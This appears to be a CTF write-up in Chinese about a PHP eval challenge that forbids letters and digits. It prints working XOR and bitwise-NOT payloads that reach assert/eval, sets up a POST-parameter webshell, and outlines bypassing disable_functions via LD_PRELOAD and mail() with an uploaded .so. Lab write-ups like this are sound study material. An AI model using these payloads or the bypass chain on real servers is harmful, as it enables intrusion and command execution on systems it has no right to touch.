题目环境:http://114.116.44.23:40001/
题目还是老样子。无字母数字rce。
知识点其实都有写过,就不说了。详细参见:【RCE提高篇】
题目源码:
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>
我做的时候弄的时候payload是:
?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[%27alex%27]);
但是我看了evoA师傅的writeup后,发现自己竟然是非预期。。。
这里来说说evoA师傅的预期解法。师傅想考的是无文件RCE。但是他过滤的较少导致非预期。
他给出了新的过滤:
if(preg_match("/[A-Za-z0-9_`'"^?<>${}]+/",$code)
这种方式的话,我的payload,一定是不行的了。
他给的payload:
?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
//("assert")(("next")(("getallheaders")()));
//assert(next(getallheaders()));
他主要运用了php7对用($a)();
这样的方法来执行动态函数增加了支持,php5不支持。所以,我们可以通过('phpinfo')();
来执行函数。还有就是,php7.0还支持assert的动态调用。所以payload可以这样构造。所以payload仅限于php7.0.
蚁剑连上后发现:/flag,没有读的权限???,根目录留一个/readflag来让ctfer 执行命令拿flag。/readflag会有一个s权限:RH134小结(三)文件权限与ACL
但是看phpinfo我们发现,禁用了好多函数:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
这里用到了环境变量 LD_preload + mail劫持so
来执行系统命令。
之后就直接用exp
在phpinfo中我们可以知道这是ubuntu 64位的机器。于是上传64 位的so文件,配合php,执行系统命令。打算上传到/var/www/html。但是发现权限是755,没有写权限。寻找有写权限的文件,最后找到了/tmp,最后把bypass_disablefunc.php
和bypass_disablefunc_x64.so
上传到/tmp/s下。通过包含来执行命令:
这里,只是写一下用法。以后写绕过disfunction的方法。